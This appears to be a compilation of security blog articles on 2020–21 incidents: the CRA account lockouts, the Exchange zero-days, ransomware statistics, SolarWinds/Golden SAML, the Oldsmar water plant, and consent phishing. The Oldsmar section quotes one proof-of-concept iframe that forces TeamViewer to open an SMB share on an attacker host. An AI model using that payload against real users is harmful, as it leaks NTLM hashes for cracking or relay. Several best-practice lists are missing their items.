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Canada Revenue Agency (CRA) Locks Out 800,000 Accounts
The Canada Revenue Agency (CRA) recently revoked 800,000 CRA user IDs and passwords. According to the CRA, the IDs and passwords “may have been obtained by unauthorized third parties” or “have been identified as being available to unauthorized individuals.”
“Out of an abundance of caution, and to prevent unauthorized access to these accounts, the CRA took swift action to lock these accounts,” CRA said in a statement. “The total number of accounts impacted is roughly 800 thousand.”
The Agency said the revocation of the hundreds of thousands of CRA user IDs and passwords wasn’t a result of a breach of CRA’s online systems. The Agency attributed the cause of the revocation to external causes, including email phishing schemes or third-party data breaches. “We wish to reiterate that these user IDs and passwords were not compromised as a result of a breach of CRA’s online systems, rather they may have been obtained by unauthorized third parties and through a variety of means by sources external to the CRA, such as email phishing schemes or third party data breaches,” CRA said.
Past Data Breach
In August 2020, the Government of Canada, through the Treasury Board of Canada Secretariat, issued a statement about the data breach on the Canadian Government's GCKey – a system used by 30 Canadian federal departments as a single sign-on (SSO) system to access government services. GCKey is particularly used to access the CRA accounts.
According to the Treasury Board of Canada Secretariat, out of the nearly 12 million active GCKey accounts in Canada, the passwords and usernames of 9,041 users were acquired fraudulently and used to access government services. The Treasury Board of Canada Secretariat added that out of the total number of accounts fraudulently accessed by the attackers, nearly 5,500 CRA accounts were fraudulently accessed.
Tests conducted by BleepingComputer on CRA’s web portal showed that multi-factor authentication and security CAPTCHA (short for Completely Automated Public Turing Test To Tell Computers and Humans Apart in use) weren't enabled. "When signing-in from a new computer, the user would be asked a security question (e.g. pet's name), however, there is no mechanism prompting the user for a 2FA code, for example, to be sent via a text message (SMS)," BleepingComputer said.
In a press conference in August 2020, Marc Brouillard, acting Chief Technology Officer for the Treasury Board of Canada Secretariat said that at one point, the CRA web portal was attacked by a large amount of traffic using a "botnet to attempt to attack the services through credential stuffing". Brouillard said the attackers bypassed the CRA security questions and fraudulently access CRA accounts by exploiting a vulnerability in the configuration of security software solutions that the Government of Canada used.
The acting Chief Technology Officer for the Treasury Board of Canada Secretariat mentioned three methods of attacks used by the attackers in the 2020 CRA web portal data breach: botnet, credential stuffing, and exploitation of a software security vulnerability. The recent cyber incident at the CRA, meanwhile, was attributed to email phishing schemes or third-party data breaches.
Botnet, also known as zombie army, is a cyberattack that uses a group of hijacked computers (including IoT devices), each injected with malicious software (malware) and controlled by the attacker from a remote location without the knowledge of the computer's owner.
Credential stuffing is a cyberattack in which an attacker uses a large number of stolen username and password combinations from other websites and tests these stolen credentials to login to other websites. This type of attack is based on the assumption that username and password combinations are typically reused. To scale the process of testing these stolen credentials from one website to another website, botnets are used to automate the process.
Exploitation of Software Security Vulnerability
In the exploitation of software security vulnerability, an attacker exploits either a publicly known software security vulnerability or a security vulnerability that’s only known to the attacker. In most cases, attackers exploit known security vulnerabilities and those with available fix, also known as a patch, as attackers assume that users delay the application of the available patch.
Email phishing is a type of cyberattack in which the attacker masquerades as a trusted entity, and tricks the victim into opening an email. The email recipient is further tricked into opening a malicious attachment or link, which can lead to the installation of malware on the email recipient’s computer, enabling the attacker to conduct malicious activities on the email recipient’s computer. Activities could include stealing of sensitive information.
Third-Party Data Breaches
Third-party data breach, also known as supply chain attack, is a type of cyberattack in which an attacker infiltrates the systems of the initial victim with the end goal of infiltrating the customers of the initial victim.
Cybersecurity Best Practices
As exemplified in the August 2020 data breach at the CRA and the recent cyber incident at the CRA, attackers are employing not just one but multiple attack methods in order to compromise their target. Below are some of the best practices in order protect your organization from the above-mentioned cyberattack methods:
Patch Time: Microsoft Issues Patches for Exchange Server Zero-Day Threats
Microsoft recently issued out-of-band security updates for zero-day vulnerabilities affecting Microsoft Exchange Server.
Out-of-band security updates refer to security updates released outside the normal release time. Zero-day vulnerabilities, meanwhile, refer to software security vulnerabilities that are exploited before updates become available.
Microsoft Exchange Server is Microsoft's email server solution that’s available both on-premise and online. This email server solution runs exclusively on Windows Server operating systems. Exchange servers are primarily used by organizations. As such these Exchange servers are high-value targets.
In the blog post "HAFNIUM targeting Exchange Servers with 0-day exploits," Microsoft Threat Intelligence Center, Microsoft 365 Defender Threat Intelligence Team, and Microsoft 365 Security said that on-premises Exchange servers are affected by the zero-day vulnerabilities, while Exchange online isn’t affected. On-premises Exchange servers that are specifically affected are Exchange Server 2010, Exchange Server 2013, Exchange Server 2016, and Exchange Server 2019.
Microsoft Exchange Server Zero-Day Vulnerabilities
According to Microsoft Threat Intelligence Center, Microsoft 365 Defender Threat Intelligence Team, and Microsoft 365 Security, the threat actor, collectively called “Hafnium,” used the following zero-day vulnerabilities in on-premises Exchange servers to initially access their victims’ networks:
CVE-2021-26855: A server-side request forgery (SSRF) vulnerability in on-premises Exchange servers that allowed the attacker to send arbitrary HTTP requests and authenticate as the Exchange server.
CVE-2021-26857: This vulnerability allowed the attacker to run code as SYSTEM on the Exchange server. This vulnerability, however, needs administrator permission or another vulnerability to exploit.
CVE-2021-26858: After exploiting CVE-2021-26855 or by compromising a legitimate admin’s credentials, this vulnerability allowed the attacker to write a file to any path on the server.
CVE-2021-27065: Similar to CVE-2021-26858, after exploiting CVE-2021-26855 or by compromising a legitimate admin’s credentials, this vulnerability allowed the attacker to write a file to any path on the server.
“After exploiting these vulnerabilities to gain initial access, HAFNIUM operators deployed web shells on the compromised server,” Microsoft Threat Intelligence Center, Microsoft 365 Defender Threat Intelligence Team, and Microsoft 365 Security said. “Web shells potentially allow attackers to steal data and perform additional malicious actions that lead to further compromise.”
By exploiting these 4 zero-day vulnerabilities, the attacker was able to bypass authentication, including two-factor authentication. These vulnerabilities allowed the attacker to access email accounts that are of interest within the targeted organizations and allowed the attacker to remotely execute code on vulnerable Microsoft Exchange servers.
Researchers from Volexity and Dubex were credited by Microsoft for reporting about the zero-day vulnerabilities in on-premises Exchange servers. Security researchers at Volexity and Dubex reported that the zero-day exploits in on-premises Exchange servers started as early as January 2021.
Security researchers at Volexity reported that in January 2021 they detected anomalous activity from two of its customers’ Microsoft Exchange servers. The Volexity security researchers said they identified a large amount of data being sent to IP addresses it believed weren’t tied to legitimate users.
Dubex security researchers said they observed the zero-day exploit in a set of Exchange servers in Denmark. They particularly observed CVE-2021-26857, an insecure deserialization vulnerability in the Unified Messaging service. “Through analysis of the systems, Dubex Incident Response Team determined that feeding the UM [Unified Messaging] Server with a sufficiently malformed voicemail file caused it to spawn a UMWorkerProcess that deserialised the voicemail and executed contents,” Dubex security researchers said.
In the blog post "New nation-state cyberattacks," Tom Burt, Corporate Vice President, Customer Security & Trust at Microsoft, said that Hafnium, the group behind the zero-day exploits in on-premises Exchange servers, operates from China. Hafnium, he said, targets research organizations, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.
Burt added Hafnium attacked by following these three steps: “First, it would gain access to an Exchange Server either with stolen passwords or by using the previously undiscovered vulnerabilities to disguise itself as someone who should have access. Second, it would create what’s called a web shell to control the compromised server remotely. Third, it would use that remote access – run from the U.S.-based private servers – to steal data from an organization’s network.”
Preventive and Mitigating Measures
According to Microsoft, zero-day vulnerabilities in on-premises Exchange servers, which include CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065, are all part of an attack chain. The initial attack, Microsoft said, requires the ability to make an untrusted connection to Exchange server port 443.
To prevent the initial attack, Microsoft recommends protection against untrusted connection to Exchange server port 443. To separate the Exchange server from external access,
Microsoft recommends setting up a virtual private network (VPN).
Microsoft, however, noted that protection against untrusted connection to Exchange server port 443 and setting up a VPN only serve as protection against the initial portion of the attack. The company warned that other portions of the attack chain can be triggered if an attacker already has access or can convince an administrator to open a malicious file.
If the latest security updates can't be immediately deployed, it’s recommended to restrict external access to OWA URL, restrict external access to Exchange Admin Center (EAC), and disconnect vulnerable Exchange servers from the internet until the latest security updates can be applied.
Microsoft recommends the following best practices to better defend on-premises Exchange servers:
1 in 4 Cyberattacks in 2020 Caused by Ransomware, IBM Report Shows
IBM’s latest report, X-Force Threat Intelligence Index 2021, found 1 in 4 real cyberattacks worldwide in 2020 was caused by ransomware.
Double Extortion Tactic
Ransomware is a malicious software (malware) that encrypts victims’ computer files. File encryption prevents legitimate users from assessing their files. Ransomware attackers are publicly coming out that they’re also stealing victims’ data prior to encrypting these files.
IBM's X-Force Threat Intelligence Index 2021, which the company said is based on billions of data points collected from its customers and public sources between January and December 2020, showed that a number of the ransomware attacks in 2020 involved double extortion – a tactic in which the attackers demand ransom two ransoms. Aside from demanding from victims to pay ransom in exchange for the decryption key that would unlock the encrypted files, attackers also demand a second ransom payment, this time, as payment to stop the attackers from selling or auctioning the victims’ stolen files.
According to IBM, in 2020, 36% of the data breaches that X-Force (IBM’s cloud-based threat intelligence platform) tracked came from ransomware attacks that also involved alleged data theft, suggesting that “data breaches and ransomware attacks are beginning to collide.”
According to IBM, Sodinokibi, also known as REvil, was the most active ransomware in 2020, accounting for 22% of all ransomware incidents.
IBM estimated that the group behind the Sodinokibi ransomware earned at least $123 million in 2020 and stole about 21.6 terabytes of data from victims. IBM added that nearly two-thirds of the victims of Sodinokibi paid ransom, and nearly 43% had their stolen data leaked to the public.
Sodinokibi was first observed in the wild in April 2019. When it first came out, Sodinokibi was observed spreading itself by exploiting a vulnerability in Oracle’s WebLogic server.
According to IBM, Sodinokibi and other successful ransomware groups in 2020 were focused on stealing and leaking data, as well as creating ransomware-as-a-service cartels.
One of the reasons behind the notoriety and the resulting success of ransomware groups is that these groups operate in what is known as ransomware-as-a-service. In ransomware-as-a-service, one group maintains the ransomware code and another group, known as affiliates, spreads the ransomware.
Affiliates in ransomware-as-a-service are allowed to spread the ransomware in any way they like. In the blog post "McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us," McAfee Labs found that some affiliates prefer mass-spread attacks, while other affiliates adopt a more targeted approach.
Examples of mass-spread attacks are phishing and exploit kits. Phishing is the fraudulent way of obtaining sensitive information such as passwords and credit card details by impersonating a trusted individual or entity. Exploit kits, meanwhile, refer to threats that use automated tools to scan for vulnerable browser-based applications, compromised sites to divert web traffic, and run malware.
Cyberattacks that employ a targeted approach, meanwhile, refer to attacks targeting specific individuals or specific entities. Examples of targeted approaches include brute-forcing Remote Desktop Protocol (RDP) access.
RDP is a proprietary protocol developed by Microsoft that allows a Windows-based user to connect to a remote Windows personal computer or server over the internet. After brute-forcing RDP access, attackers then upload tools in order to gain more rights and run the ransomware inside the internal network of a victim.
“We have investigated several campaigns spreading Sodinokibi, most of which had different modus operandi but we did notice many started with a breach of an RDP server,” McAfee Labs said.
Cost of a Ransomware Attack
In its latest report, Universal Health Services said the company incurred $67 million as a result of an “Information Technology Incident” that occurred from September 27, 2020 up to October 2020.
TechCrunch reported the Universal Health Services information technology incident as ransomware attack. BleepingComputer, meanwhile, reported that the specific name of the ransomware behind the Universal Health Services information technology incident is Ryuk – a ransomware first discovered in the wild in August 2018.
Universal Health Services said there’s no evidence of unauthorized access, copying, or misuse of any patient or employee data.
“Given the disruption to the standard operating procedures at our facilities during the period of September 27, 2020 into October, 2020, certain patient activity, including ambulance traffic and elective/scheduled procedures at our acute care hospitals, were diverted to competitor facilities,” Universal Health Services said. “We also incurred significant incremental labor expense, both internal and external, to restore information technology operations as expeditiously as possible. Additionally, certain administrative functions such as coding and billing were delayed into December, 2020, which had a negative impact on our operating cash flows during the fourth quarter of 2020.”
Security researchers aren’t certain about the infection vector of Ryuk ransomware. It’s suspected that this ransomware uses the targeted attack approach by brute-forcing RDP access and malicious use of Cobalt Strike.
Cobalt Strike is a commercial penetration testing tool that markets itself as "adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors." This commercial penetration testing tool uses tools such as Mimikatz – a tool that’s capable of obtaining plaintext Windows account logins and passwords.
Cybersecurity Best Practices Against Ransomware Attacks
Below are some of the cybersecurity best practices against ransomware attacks:
Zero Trust Lesson
Zero Trust is one of the lessons learned as a result of the recent SolarWinds supply chain attack, according to Microsoft – one of the victims of the said supply chain attack.
In the blog post "Microsoft Internal Solorigate Investigation – Final Update” published on February 18, 2021, Microsoft Security Response Center (MSRC) Team admitted that the threat actor behind the SolarWinds supply chain attack was able to download a small subset of Azure components (subsets of service, security, identity), a small subset of Exchange components, and a small subset of Intune components.
SolarWinds Supply Chain Attack Background
In December 2020, SolarWinds reported to the U.S. Securities and Exchange Commission (SEC) that the supply chain attack on its system affected nearly 18,000 customers of SolarWinds Orion – a software used as a monitoring and management platform designed to simplify IT administration.
In a supply chain attack, an attacker accesses the source code of legitimate software and infects it with malicious code. Once this compromised software is distributed to customers, the customers' systems are compromised as well and a series of compromises follow. According to SolarWinds, the attacker inserted a malicious code within Orion which, if present and activated, "could potentially allow an attacker to compromise the server on which the Orion products run." Microsoft named this malicious code "Solorigate."
Last December, Microsoft, through the MSRC Team, admitted that it was one of the victims of the SolarWinds supply chain attack and the threat actor behind it was able to "view source code in a number of source code repositories." The December 2020 admission specified that the threat actor was able to view, while the latest February 2021 admission specified that the threat actor was able to download.
"We have now completed our internal investigation into the activity of the actor and want to share our findings, which confirm that we found no evidence of access to production services or customer data," MSRC Team said, in the latest report dubbed as the final update about Solorigate. "The investigation also found no indications that our systems at Microsoft were used to attack others."
The MSRC Team said that Solorigate reinforced one key learning: Zero Trust.
The concept of Zero Trust has been around for nearly a decade. The term was first used in 2010 by John Kindervag, then the principal analyst at Forrester Research Inc. In his research and analysis of enterprises, Kindervag found that “trust” had become an essential part of the network. For Kindervag, trust is a major liability for enterprises’ networks that could result in failure over and over again in the years to come.
In the blog post "The Tao Of Zero Trust" Chase Cunningham, VP, Principal Analyst; Jeff Pollard, VP, Principal Analyst; and Stephanie Balaouras, VP, Group Director, all from Forrester Research said that the adoption of Zero Trust is based on these two factors:
"First, the cybersecurity industry has hit an inflection point wherein the massive spend to prove the negative of ‘good security’ is drying up.
"Second, CEOs and board leadership for enterprises are tired of the technical talk and miscommunication around cybersecurity operations. Zero Trust is simple in name, comprehensive in its approach, and realistic in the acceptance of the inherent failures that plague enterprises from the second they start sending electrons."
MSRC Team defined Zero Trust as a "transition from implicit trust –assuming that everything inside a corporate network is safe – to the model that assumes breach and explicitly verifies the security status of identity, endpoint, network, and other resources based on all available signals and data."
Verify explicitly, least privileged access, and assume breach are three principles of Zero Trust. Verify explicitly means that it's always important to authenticate and authorize based on all available data points. Least privileged access means that permissions are only granted to the appropriate environment and on appropriate devices to meet specific business goals. Assume breach, meanwhile, means that processes and systems must assume breach has already happened or soon will.
In the blog post "Using Zero Trust principles to protect against sophisticated attacks like Solorigate," Alex Weinert, Identity Security Director at Microsoft, said that the threat actor behind Solorigate compromised identity environments with these three major vectors: compromised user accounts, compromised vendor accounts, and compromised vendor software. "In each of these cases, we can clearly see where the attacker exploited gaps in explicit verification," Weinertsaid.
Weinert further said that the threat actor behind Solorigate took advantage of broad role assignments, permissions that exceeded role requirements, and in some cases abandoned accounts and applications which should have had no permissions at all.
Applying the lessons from the Solorigate attack and the principles of Zero Trust, Microsoft recommends enabling multi-factor authentication (MFA) to reduce account compromise probability by more than 99.9%. It's important to note that attackers, however, have their ways of bypassing MFA nowadays.
Remote Access Security Risks and Best Practices to Counter These Risks
The recent cyber incident in which someone tried to poison the water supply of the city of Oldsmar, Florida highlights the security risks of remote access.
Pinellas County Sheriff Bob Gualtieri, in a press conference held last week, said that someone remotely accessed one of the computers of the city’s water treatment system and increased the amount of sodium hydroxide to a level that could have caused serious harm to the city’s 15,000 residents.
A small concentration of sodium hydroxide is used by the city’s water treatment system to control the water acidity. The high concentration of this chemical, however, causes severe burns and permanent damage to any tissue that it comes in contact with. Gualtieri said that the city’s water supply wasn’t adversely affected as a supervisor, who was also working remotely, noticed the unauthorized change and immediately reverted the chemical concentration to the old level.
Gualtieri told WIRED and Reuters that the threat actor who made the unauthorized change to the concentration of sodium hydroxide gained remote access to the water treatment plant's computer system via TeamViewer – an app that allows a user to gain access to computers and networks remotely. This app is specifically used for desktop sharing.
The security vulnerability, designated as CVE-2020-13699, in TeamViewer for Windows platform was discovered last year by Jeffrey Hofmann, security engineer at Praetorian. Hofmann said the affected versions were versions 8 to 15 of the TeamViewer for Windows platform.
“An attacker could embed a malicious iframe in a website with a crafted URL (<iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'>)that would launch the TeamViewer Windows desktop client and force it to open a remote SMB share,” Hofmann said. “Windows will perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).”
An attacker exploiting this vulnerability could force a victim to send an NTLM authentication request and capture the hash for offline password cracking. In response to the disclosure made by Hofmann, TeamViewer issued updates to TeamViewer versions 8 to 15 for the Windows platform. "We implemented some improvements in URI handling relating to CVE 2020-13699,” TeamViewer said in a statement.
It’s unclear whether the updates issued by TeamViewer were applied by the concerned personnel of the city’s water treatment system. According to the Cybersecurity and Infrastructure Security Agency (CISA), early information indicates that it’s possible that TeamViewer may have been used to gain unauthorized access to the water treatment system. This, however, can’t be confirmed at present date, CISA said.
“TeamViewer, a desktop sharing software, is a legitimate popular tool that has been exploited by cyber actors engaged in targeted social engineering attacks, as well as large scale, indiscriminate phishing campaigns,” CISA said. “Desktop sharing software can also be used by employees with vindictive and/or larcenous motivations against employers. Beyond its legitimate uses, when proper security measures aren’t followed, remote access tools may be used to exercise remote control over computer systems and drop files onto victim computers, making it functionally similar to Remote Access Trojans (RATs). TeamViewer’s legitimate use, however, makes anomalous activity less suspicious to end users and system administrators compared to RATs.”
Other Poor Cybersecurity Practices
As a result of the cyber incident at Oldsmar's water treatment system, the State of Massachusetts issued a cybersecurity advisory for public water suppliers. The advisory issued by the State of Massachusetts said, "All computers used by water plant personnel were connected to the SCADA system and used the 32-bit version of the Windows 7 operating system.”
Microsoft ended its support for the Windows 7 operating system on January 14, 2020. End of support, in this case, means end of security updates and technical support. Users of Windows 7 Professional and Enterprise versions, however, can avail of the Extended Security Update (ESU) plan (paid per-device) until January 2023. It isn’t clear whether Oldsmar’s water treatment system availed of the ESU plan.
The cybersecurity advisory further said, “Further, all computers shared the same password for remote access and appeared to be connected directly to the Internet without any type of firewall protection installed.”
Cybersecurity Best Practices
While remote access comes with known risks, remote access has become a necessity as a result of the lockdown restrictions. There’s also an upside with remote access. In the case of the cyber incident at Oldsmar's water treatment system, the unauthorized change was immediately reversed due to remote access as well.
Here are some of the lessons learned out of the cyber incident at Oldsmar's water treatment system:
As a large number of the world’s workforce shifted to working from home, attackers have turned their attention to this new group of remote workforce by leveraging the cyberattack called “consent phishing” to gain access to valuable data in cloud services.
What Is Consent Phishing?
Consent phishing is a cyberattack in which an attacker lures a victim to click on a malicious app. This malicious app masquerades as a legitimate app, tricking the victim to give consent to such malicious app and giving the attacker access to the victim’s sensitive data or other resources.
In the blog post "Protecting your remote workforce from application-based attacks like consent phishing," Agnieszka Girling, Partner Group PM Manager at Microsoft warned about consent phishing. While each consent phishing attack tends to vary, Girling said, the basic steps typically follow these steps:
First, an attacker registers a malicious app with an OAuth 2.0 provider, such as Azure Active Directory.
Second, the malicious app is developed in such a way that it appears, at first glance, as legitimate through the use of the name and logo of a popular product.
Third, the attacker tricks a victim to click on a malicious link. The malicious link is delivered by email, website, or other techniques.
Fourth, the victim clicks the malicious link and is asked to grant the malicious app permissions.
Fifth, once the victim grants the malicious app permissions, the malicious app gets an authorization code which it redeems for an access token, and potentially a refresh token.
Sixth, the access token is then used to access a cloud service on behalf of the victim.
Consent phishing is also known as OAuth phishing as this type of cyberattack abuses the OAuth protocol – an authentication protocol that allows websites and applications to request limited access to a user's cloud account without the need for a password. With OAuth, instead of a password, an authorization token is used to authenticate.
Real-Life Example of Consent Phishing Attack
PhishLabs reported that an attacker used a malicious Microsoft 365 app to gain access to a victim’s legitimate Microsoft 365 account. According to PhishLabs, the attacker presented the link of the malicious Microsoft 365 app via a traditional phishing message impersonating an internal SharePoint and OneDrive file-share.
PhishLabs said that the link provided led to a Microsoft 365 legitimate login page. After the victim logged in or if previously logged in, the victim was then presented with the Microsoft 365 access permissions request. Access approval granted the attacker full control of the victim’s Microsoft 365 account.
According to PhishLabs, the Microsoft 365 app was created using the information of a legitimate organization. “This is likely due to the organization having been previously compromised, allowing attackers to leverage their development credentials in building the app,” PhishLabs said.
Cybersecurity Best Practices Against Consent Phishing
In consent phishing attacks, the typical remediation steps such as resetting passwords or requiring Multi-Factor Authentication (MFA) on accounts aren’t effective as the malicious apps are external to the organization.
According to Microsoft, consent phishing attacks “leverage an interaction model which presumes the entity that is calling the information is automation and not a human.”
Microsoft recommends the following measures to detect and remediate consent phishing attacks targeting your organization’s Microsoft cloud environment:
Detect Malicious Apps Using Alerts
OAuth policies can be set automatically to send notifications when an OAuth app meets certain criteria. For instance, an OAuth policy can be set to send a notification when an OAuth app requires high permissions and was authorized by more than 50 users.
Detect Malicious Apps by Hunting
In detecting malicious apps by hunting, OAuth apps are reviewed based on suspicious name or suspicious publisher.
“Misleading names, such as foreign letters that resemble Latin letters, could indicate an attempt to disguise a malicious app as a known and trusted app,” Microsoft said. “Misleading publisher names, such as foreign letters that resemble Latin letters, could indicate an attempt to disguise a malicious app as an app coming from a known and trusted publisher.”
Once it’s determined that the OAuth app is malicious, the following remediations can be undertaken:
How to Catch Golden SAML-Type Attacks
The supply chain attack on SolarWinds exposes the effectiveness of a cyberattack method called “Golden SAML.”
SolarWinds Supply Chain Attack Background
In December 2020, FireEye disclosed its discovery of the supply chain attack on SolarWinds product Orion – monitoring and management platform designed to simplify IT administration.
In the supply chain attack on SolarWinds Orion, attackers gained access to the source code of Orion; maliciously changed the code; and said malicious code was made part of the official updates released to the customers of SolarWinds. The malicious updates allowed the SolarWinds attackers to gain initial access to the networks of the customers of SolarWinds Orion. The attack affected nearly 18,000 customers of SolarWinds Orion.
Among the companies that admitted that they’ve been impacted by the SolarWinds supply chain attack are FireEye and Microsoft. As a result of the SolarWinds supply chain attack, FireEye disclosed that the attackers stole its Red Team assessment tools which leverage known Common Vulnerabilities and Exposures (CVEs) to test and validate clients’ cybersecurity posture. Microsoft, meanwhile, admitted that attackers were able to view the company’s “source code in a number of source code repositories.”
What Is Golden SAML?
Golden SAML is an attack vector that was discovered back in 2017 by CyberArk Labs. One of the attack methods used by the attackers after gaining initial access to the networks of SolarWinds Orion customers is the Golden SAML. The use of Golden SAML in the SolarWinds supply chain attack is the first documented use of Golden SAML since the 2017 discovery.
Golden SAML allows attackers who gained initial access to a victim’s network such as in the case of SolarWinds supply chain attack to maintain persistence and gain access to the different services used by the victim in a convenient and stealth manner. “Golden SAML is a technique that allows attackers, once they got privileged access to the victim’s network, to impersonate almost any identity in the organization and acquire any type of privilege across almost all services of the organization (this depends on what services in the organization use SAML as their authentication protocol),” CyberArk Labs said in the latest blog post "Golden SAML Revisited: The Solorigate Connection .”
As described by CyberArk Labs, Golden SAML is basically a forged SAML. Short for Security Assertion Markup Language, SAML enables web browser Single Sign-On (SSO). SAML 2.0, first introduced in 2005, is the current standard version of the SAML protocol.
With SSO, a user only has to enter their login credentials once and the user is then given access to cloud services that support SAML authentication such as Microsoft Azure or Amazon Web Services (AWS). “In a golden SAML attack, attackers can gain access to any application that supports SAML authentication (e.g. Azure, AWS, vSphere, etc.) with any privileges they desire and be any user on the targeted application (even one that is non-existent in the application in some cases),” CyberArk Labs said.
On the part of an attacker, CyberArk Labs said, Golden SAML has the following advantages:
To perform the Golden SAML attack, CyberArk Labs said, the following requirements are needed: token-signing private key, IdP public certificate, IdP name, and Role name (role to assume). CyberArk Labs added that in order to get the private key, tools such as Mimikatz can be used.
According to FireEye, the supply chain attack on SolarWinds enabled the attackers to execute a customized Cobalt Strike – a commercial penetration testing tool that’s marketed as a “software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors." One of the tools included in Cobalt Strike is Mimikatz, a tool that’s capable of exploiting Windows Single Sign-On (SSO) functionality to harvest credentials.
Even though the Golden SAML has been a known attack vector since 2017, this hasn’t been addressed by the concerned vendors using the SAML 2.0 protocol as Golden SAML isn’t treated as a security vulnerability as an attacker needs to have domain admin access in order to perform it. The case in point is the SolarWinds supply chain attack in which the attackers already gained domain admin access.
According to FireEye, the SolarWinds supply chain attackers were observed targeting on-premises Active Directory Federation Services servers with the goal of obtaining the token-signing certificate to forge SAML tokens. Active Directory Federation Services is a software component developed by Microsoft that runs on Windows Server operating systems to provide users with Single Sign-On access to systems and applications.
Cybersecurity Best Practices
One of the cybersecurity measures to prevent a Golden SAML attack is by deploying a Privileged Access Management (PAM) solution – referring to a solution that helps manage, monitor, and secure privileged access to critical assets. It’s also important to monitor for suspicious SAML tokens such as those with an unusually long life.
In case there’s enough evidence that attackers have already accessed your organization’s Active Directory Federation Services servers, the following steps need to be done:
Hunt for Earliest Artifacts of Compromise
Three of Microsoft’s cyber defense teams recently published their collective findings on how threat actors got away in viewing the company’s crown jewel: Microsoft source code.
In the blog post "Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop," three of Microsoft’s cyber defense teams, Microsoft 365 Defender Research Team, Microsoft Threat Intelligence Center, and Microsoft Cyber Defense Operations Center revealed new details on how threat actors were able to view the company’s source code.
Last December 31st, Microsoft admitted that one internal account had been compromised and used to view source code in a number of source code repositories. "The account did not have permissions to modify any code or engineering systems and our investigation further confirmed no changes were made," Microsoft said.
Microsoft earlier admitted that it was one of the victims of the Solarwinds supply chain attack. Microsoft is one of the thousands of Solarwinds’ clients that unwittingly downloaded the Solarwinds update that was maliciously modified with attached malicious software (malware) called "Solorigate" to further compromise the networks of those that downloaded the poisoned update.
In a report to the U.S. Securities and Exchange Commission, Solarwinds said, "SolarWinds currently believes the actual number of customers that may have had an installation of the [SolarWinds] Orion products that contained this vulnerability to be fewer than 18,000."
Microsoft provided the following timeline in which the attackers were able to compromise SolarWinds update:
Sept. 4, 2019: Attackers start assessing SolarWinds
Sept. 12, 2019: Attackers start injecting test code
Nov. 4, 2019: Attackers stop injecting test code
Feb. 20, 2020: Solorigate malware backdoor is compiled and deployed
March 2020: Estimated start of distribution of Solorigate malware backdoor
May 2020: Estimated start of actual hands-on-keyboard attacks
June 4, 2020: Attackers remove malware from SolarWinds build environment
Dec. 12, 2020: Solorigate malware supply chain attack disclosed
How the Attack Transpired
According to FireEye, one of the victims of the SolarWinds supply chain attack, the supply chain attack on SolarWinds enabled the attackers to execute a customized Cobalt Strike.
Cobalt Strike is a publicly available penetration testing tool that’s marketed as "adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors". Cobalt Strike’s post-exploit capabilities include tools such as Mimikatz and Metasploit.
Mimikatz is a tool that’s capable of obtaining plaintext Windows account logins and passwords. Mimikatz also comes with many other features that test the security of networks.
Metasploit, meanwhile, is another penetration testing tool popularly used by both attackers and defenders. With Metasploit, attackers just pick a target, pick an exploit, and pick a payload to drop.
"One missing link in the complex Solorigate attack chain is the handover from the Solorigate DLL backdoor to the Cobalt Strike loader," Microsoft’s cyber defense teams said.
According to Microsoft’s cyber defense teams, the following tactics allowed the attackers to hid their malware and malicious actions:
Each Cobalt Strike implant was assembled to be unique for every compromised computer and avoided any overlap and reuse of file name, folder name, export function names, HTTP requests, C2 domain/IP, file metadata, and timestamp.
Tools used by the attackers, including the legitimate tool called "ADFIND" (a search utility that can be used to query the Active Directory), were always renamed and placed in folders that imitated existing programs and files already present on the compromised computer.
Event logging captures network activities such as login sessions, account lockouts, and failed password attempts. Prior to conducting hands-on keyboard activity, the attackers disabled event logging through the use of a tool called "AUDITPOL." The attackers enabled event logging after conducting hands-on keyboard activity.
Prior to running network enumeration activities, the attackers prepared special firewall rules to lessen outgoing packets for certain protocols. After running network enumeration activities, the attackers removed the special firewall rules.
Prior to conducting lateral movement activities, the attackers first disabled certain security services. Lateral movement refers to activities that are conducted by attackers after gaining access to the victim’s network.
Attackers, in this case, gained initial access to the victims’ networks via the poisoned Solarwinds update. Post initial access activities are typically done in search of sensitive data and other high-value assets.
Microsoft’s cyber defense teams believed that the attackers used timestomping. In timestomping, attackers change the timestamps of a file – referring to the access, create, and change times of a file. The goal of timestomping is to derail forensic investigators or file analysis tools.
If All Else Fails
To date, the identities of the attackers behind the Solarwinds supply chain attack that spiraled into the compromise of other networks such as Microsoft and FireEye remain inconclusive.
One takeaway from this supply chain attack is the need for network segmentation. If all else fails, one way to protect your organization’s crown jewels is to implement network segmentation.
In network segmentation, your organization’s network is divided into sub-networks so that in case one sub-network is compromised, the other sub-networks won’t be affected.
Weak Cyber Hygiene Practices Behind Successful Cloud Attacks
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) recently issued an alert detailing the weak cyber hygiene practices behind successful cyberattacks against various organizations’ cloud environments.
In the alert "Strengthening Security Configurations to Defend Against Attackers Targeting Cloud Services," CISA said that based on data derived exclusively from several of its incident response engagements, it’s aware of several recent successful cyberattacks against various organizations’ cloud environments.
“Despite the use of security tools, affected organizations typically had weak cyber hygiene practices that allowed threat actors to conduct successful attacks,” CISA said.
Weak Cyber Hygiene Practices
According to CISA, successful cyberattacks against various organizations’ cloud environments frequently occur when victim organizations’ allowed employees to work from home and used a mixture of personal devices and corporate laptops to access organizations’ cloud environments.
Here are some of the weak cyber hygiene practices behind successful cyberattacks against various organizations’ cloud environments based on CISA’s alert:
CISA said threat actors are using phishing emails to harvest credentials for users’ cloud service accounts. In phishing emails, threat actors weaponize the traditional emails for cyberattacks.
These phishing emails, CISA said, contain malicious links that appear on a first glance as legitimate links to file hosting service account login. Login details entered on these malicious links were then stolen by threat actors and used to login to victims’ legitimate file hosting service accounts. From these hijacked legitimate file hosting service accounts, threat actors then sent emails from the victims’ accounts to steal login details for other accounts within the organization, CISA said.
Open Port 80
The CISA alert found that threat actors are exploiting open port 80. According to the agency, open port 80 was exploited even though an organization’s terminal server was located within a firewall.
Due to remote work posture, CISA said the terminal server was configured with port 80 open to allow remote employees to access it, leaving the organization’s network vulnerable.
